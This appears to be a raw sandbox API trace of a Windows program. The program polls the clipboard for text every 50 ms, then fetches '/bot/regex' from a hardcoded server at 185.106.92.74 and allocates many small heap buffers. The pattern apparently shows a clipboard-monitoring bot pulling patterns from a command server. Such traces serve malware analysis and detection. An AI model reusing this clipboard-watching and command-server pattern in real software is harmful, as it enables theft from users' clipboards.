[0248.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef152990, dwHighDateTime=0x1d96e12))
[0248.514] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.514] GetClipboardData (uFormat=0x1) returned 0x0
[0248.514] CloseClipboard () returned 1
[0248.514] Sleep (dwMilliseconds=0x32)
[0248.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef178be7, dwHighDateTime=0x1d96e12))
[0248.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.523] GetClipboardData (uFormat=0x1) returned 0x0
[0248.523] CloseClipboard () returned 1
[0248.523] Sleep (dwMilliseconds=0x32)
[0248.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef19ee46, dwHighDateTime=0x1d96e12))
[0248.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.540] GetClipboardData (uFormat=0x1) returned 0x0
[0248.540] CloseClipboard () returned 1
[0248.540] Sleep (dwMilliseconds=0x32)
[0248.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef1c50a7, dwHighDateTime=0x1d96e12))
[0248.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.554] GetClipboardData (uFormat=0x1) returned 0x0
[0248.554] CloseClipboard () returned 1
[0248.555] Sleep (dwMilliseconds=0x32)
[0248.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef1eb2f7, dwHighDateTime=0x1d96e12))
[0248.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.572] GetClipboardData (uFormat=0x1) returned 0x0
[0248.572] CloseClipboard () returned 1
[0248.572] Sleep (dwMilliseconds=0x32)
[0248.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef211551, dwHighDateTime=0x1d96e12))
[0248.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.586] GetClipboardData (uFormat=0x1) returned 0x0
[0248.586] CloseClipboard () returned 1
[0248.586] Sleep (dwMilliseconds=0x32)
[0248.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef2377a8, dwHighDateTime=0x1d96e12))
[0248.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.601] GetClipboardData (uFormat=0x1) returned 0x0
[0248.601] CloseClipboard () returned 1
[0248.601] Sleep (dwMilliseconds=0x32)
[0248.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef25d9f9, dwHighDateTime=0x1d96e12))
[0248.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.619] GetClipboardData (uFormat=0x1) returned 0x0
[0248.619] CloseClipboard () returned 1
[0248.619] Sleep (dwMilliseconds=0x32)
[0248.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef283c63, dwHighDateTime=0x1d96e12))
[0248.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.633] GetClipboardData (uFormat=0x1) returned 0x0
[0248.633] CloseClipboard () returned 1
[0248.633] Sleep (dwMilliseconds=0x32)
[0248.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef2a9ebb, dwHighDateTime=0x1d96e12))
[0248.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.648] GetClipboardData (uFormat=0x1) returned 0x0
[0248.648] CloseClipboard () returned 1
[0248.648] Sleep (dwMilliseconds=0x32)
[0248.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef2d010d, dwHighDateTime=0x1d96e12))
[0248.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.671] GetClipboardData (uFormat=0x1) returned 0x0
[0248.671] CloseClipboard () returned 1
[0248.671] Sleep (dwMilliseconds=0x32)
[0248.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef2f6422, dwHighDateTime=0x1d96e12))
[0248.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.679] GetClipboardData (uFormat=0x1) returned 0x0
[0248.679] CloseClipboard () returned 1
[0248.679] Sleep (dwMilliseconds=0x32)
[0248.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef31c5c9, dwHighDateTime=0x1d96e12))
[0248.698] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0248.699] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0248.702] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/regex", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0248.703] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0248.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x279) returned 1
[0248.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18dc4c, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18dbe4 | out: lpBuffer=0x18dc4c*, lpdwNumberOfBytesRead=0x18dbe4*=0x0) returned 1
[0248.780] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0248.781] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0248.781] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0248.781] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x280) returned 0x6f9f58
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6d1410
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fabd8
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fa9d8
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6facd8
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad78
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cff98
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc38
[0248.783] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4bc8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0240
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faab8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1590
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fad98
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d02b8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faad8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6dd160
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fab38
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0268
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fa9f8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0038
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc80
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ca8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cff70
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faa38
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d14a0
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6faa58
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0150
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fabf8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cfea8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faaf8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cfed0
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfd88
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4d18
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d01a0
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad58
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1890
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fab18
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d01c8
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fab58
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cff20
[0248.784] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fabb8
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cfef8
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfbf0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ce0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d01f0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac38
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d15c0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fac58
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cffe8
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac98
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d00b0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fac78
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0010
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc20
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6da718
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0218
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6facf8
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d15f0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6facb8
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0060
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad18
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0510
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fad38
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d02e0
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc98
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6c1c08
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0380
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae38
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1440
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fb158
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0448
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb078
[0248.785] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d04c0
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae58
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d04e8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc50
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe1b0
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0358
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fae78
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1650
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fb0d8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d03f8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faff8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0538
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb0f8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d03a8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfcb0
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe798
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0470
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb018
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1500
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fae18
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d03d0
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fadb8
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0308
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf18
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0498
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfc68
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe568
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0560
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf38
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1680
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fae98
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0330
[0248.786] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faeb8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0588
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb118
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0420
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfcc8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe370
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d53d0
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb038
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d16b0
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6faed8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5420
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf58
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d53a8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faf98
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5088
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfce0
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe3a8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5100
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb0b8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d18c0
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe338
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d4fc0
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fafd8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1770
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fadf8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d51a0
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb138
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5010
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fadd8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d53f8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cfcf8
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe108
[0248.787] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5240
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe0d0
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5448
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6faef8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d19b0
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6faf78
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5038
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb098
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5470
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fafb8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d52b8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf7e8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe728
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d51c8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe450
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d4f98
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fb058
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1a40
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c2770
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d4fe8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5c80
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5060
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5c60
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5358
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf698
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe6b8
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d51f0
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5de0
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1a70
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5ee0
[0248.788] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d50b0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5ce0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d52e0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5e60
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d50d8
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf608
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe760
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5218
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5ea0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d19e0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5dc0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5128
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5ca0
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5178
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5e40
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5290
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf5d8
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe140
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5150
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5e80
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1980
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5f00
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5268
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5d80
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5308
[0248.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5be0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5330
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf7a0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe3e0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d5380
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5d20
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6d1a10
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5f20
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d54c0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5ba0
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d5740
[0248.790] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5d60
